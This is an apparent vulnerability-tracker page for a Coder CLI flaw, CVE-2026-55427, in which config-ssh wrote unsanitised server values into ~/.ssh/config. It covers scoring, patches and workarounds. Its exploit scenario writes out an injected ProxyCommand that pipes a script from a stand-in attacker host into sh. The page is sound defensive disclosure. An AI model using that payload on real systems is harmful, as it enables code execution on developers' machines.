Skip to main content

Coder CVE-2026-55427

HIGH
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-07-06 https://github.com/coder/coder GHSA-mcqq-fqgf-rxwm
8.3
CVSS 3.1 · Vendor: https://github.com/coder/coder
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Control Coder server or MITM values
  2. Delivery
    Set malicious HostnameSuffix/SSHConfigOptions
  3. Exploit
    Developer runs coder config-ssh
  4. Execution
    Inject ProxyCommand into ~/.ssh/config
  5. Persist
    Developer opens SSH connection
  6. Impact
    Execute code as local user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
Exploitation Conditions

Exploitation requires the attacker to control the server-supplied HostnameSuffix or SSHConfigOptions values, achieved through one of three concrete positions named in the advisory: (1) a malicious or attacker-operated Coder deployment, (2) a man-in-the-middle position on the client-to-server connection, or (3) administrative access to those two settings on a legitimate deployment. The victim must then actively run coder config-ssh (CVSS UI:R) and apply the generated changes, and - because the malicious directive lives in the OpenSSH config - code execution only fires when an SSH connection is subsequently made from that workstation. Limiting factors: the attacker cannot exploit an ordinary honest, TLS-protected Coder server without one of the privileged/MITM positions, the developer must opt into running the command (the --dry-run review workaround defeats a naive attempt), and only workstations that run the vulnerable CLI are affected - so this is not remote-unauthenticated exploitation of a default configuration despite the AV:N/PR:N metrics.

Impact

The CVSS 3.1 base score is 8.3 (High) with vector AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H - network vector, high attack complexity, no privileges required on the victim, but requiring user interaction (the developer must run coder config-ssh) and a scope change reflecting that injected config affects all SSH connections, not just Coder workspaces. The high-complexity and user-interaction metrics are the key tempering signals: as the advisory itself notes, practical exploitation requires the attacker to already control the server-supplied values via a malicious/compromised deployment, a man-in-the-middle position, or admin access to the HostnameSuffix/SSHConfigOptions settings, so PR:N understates the real prerequisite of a privileged server position. No EPSS score, KEV listing, or public POC was provided, so despite the RCE tag and high CVSS this reads as a high-impact-but-precondition-gated issue rather than a mass-exploitable internet-facing flaw. Note the tension: the CVSS vector marks PR:N and AV:N, while the description makes clear the attacker must control the trusted server or occupy a MITM position - verify realistic exposure against your own trust model for the Coder deployment.

Exploit ScenarioDerived

An attacker who has compromised a Coder server, stood up a malicious deployment, or holds admin rights over the SSH-related deployment settings configures SSHConfigOptions (or HostnameSuffix) to contain an embedded newline followed by ProxyCommand=/bin/sh -c 'curl attacker/x | sh'. When a developer runs coder config-ssh, the payload is written into ~/.ssh/config and executes with the developer's privileges on their next SSH connection - including connections unrelated to Coder. No public POC is referenced, and the high attack complexity reflects the need to first control the server-supplied values.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 06, 2026

SSH configuration injection leading to arbitrary code execution in Coder's coder config-ssh CLI command allows a malicious or compromised Coder server to write attacker-controlled directives into a developer's ~/.ssh/config. The command copied server-supplied HostnameSuffix and SSHConfigOptions values verbatim without stripping newlines, letting an attacker in control of those values inject a directive such as ProxyCommand that runs on every SSH connection from the workstation. There is no public exploit identified at time of analysis and it is not listed in CISA KEV; the issue was found and disclosed by Anthropic's Security Team and is fixed across all supported release lines.

RemediationAI

Vendor-released patch: upgrade to the fixed version for your release line - 2.34.2, 2.33.8, 2.32.7, or 2.29.17 (ESR) - per the release tags at https://github.com/coder/coder/releases and advisory GHSA-mcqq-fqgf-rxwm; these add strict character-set validation that rejects newlines/control characters in HostnameSuffix and SSHConfigOptions. As a workaround where immediate patching is not possible, the vendor advises running coder config-ssh --dry-run and inspecting the proposed output before applying it, so any injected ProxyCommand/Match exec or other unexpected directives can be spotted (trade-off: manual per-run review, only effective if operators actually read the diff and know what legitimate output looks like). Additional compensating controls: restrict who can administer the HostnameSuffix and SSHConfigOptions deployment settings, ensure developers only run coder config-ssh against trusted servers over TLS to remove the MITM vector, and audit existing ~/.ssh/config files for unexpected ProxyCommand/Match/LocalCommand directives inside the Coder-managed block.

Affected Packages

go github.com/coder/coder no fix
go github.com/coder/coder/v2 fix: 2.29.17, 2.32.7, 2.33.8, 2.34.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Coder is an open-source platform that provisions cloud development environments (workspaces) which developers reach over SSH; the affected component is the Go-based coder CLI (CPE pkg:go/github.com_coder_coder_v2) and specifically its config-ssh subcommand, which generates a managed block inside the user's OpenSSH client config. The root cause is CWE-74 (Improper Neutralization of Special Elements - Injection): the server-provided HostnameSuffix and SSHConfigOptions settings were written into ~/.ssh/config without sanitizing embedded newline/control characters or restricting which SSH directives were permitted. Because OpenSSH config is line-oriented, an embedded newline lets an attacker terminate the intended line and add arbitrary directives; directives like ProxyCommand and Match exec execute local shell commands, so config injection escalates directly to code execution. The fix (PR #26154) validates both settings against a strict allowed character set that rejects newlines and other control characters.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/coder/coder) PRIMARY 8.3 HIGH
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
vuln.today AI 8.3 HIGH

AC:H and UI:R capture the required privileged/MITM server position and the victim running config-ssh; S:C because injected directives affect all workstation SSH connections, yielding full C/I/A code execution.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SUSE HIGH

Primary rating from Vendor (https://github.com/coder/coder).

CVSS VectorVendor: https://github.com/coder/coder

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

coder config-ssh wrote server-supplied SSH settings (HostnameSuffix, SSHConfigOptions) into the user's ~/.ssh/config without sanitizing embedded newlines or restricting directives so a malicious or compromised Coder server could inject arbitrary SSH configuration.

> Note: Practical exploitation requires control of the server-supplied values through a malicious or compromised deployment, a man-in-the-middle position or admin access to the HostnameSuffix and SSHConfigOptions settings.

Impact

A server administrator or an attacker who controlled the server, could inject a directive such as ProxyCommand and achieve arbitrary code execution on any developer workstation that ran coder config-ssh. Injected commands ran with the local user's privileges and applied to all SSH connections, not just Coder workspaces.

Patches

The fix validates HostnameSuffix and SSHConfigOptions against a strict character set that rejects newlines and other control characters.

The fix was backported to all supported release lines:

Release linePatched version
2.34v2.34.2
2.33v2.33.8
2.32v2.32.7
2.29 (ESR)v2.29.17

Workarounds

Inspect coder config-ssh --dry-run output before applying changes.

Resources

  • Fix: #26154

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22437) for independently disclosing this issue!

Executive ViewAI

Why It Matters

Coder's client-side configuration utility is vulnerable to remote code injection when connecting to a compromised server, enabling arbitrary command execution on developer workstations. This threatens the integrity of the development supply chain and could provide attackers persistent access to source code repositories and engineering systems. Immediate patching across all Coder instances is critical to eliminate this attack vector.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 63% exploitable
Prevalence
Medium
popular but niche developer cloud-workspace platform, not ubiquitous infrastructure
Threat Intel
1
1 sources
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:go/github.com_coder_coder_v2
pkg:go/github.com_coder_coder_v2
pkg:go/github.com_coder_coder_v2
pkg:go/github.com_coder_coder_v2

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy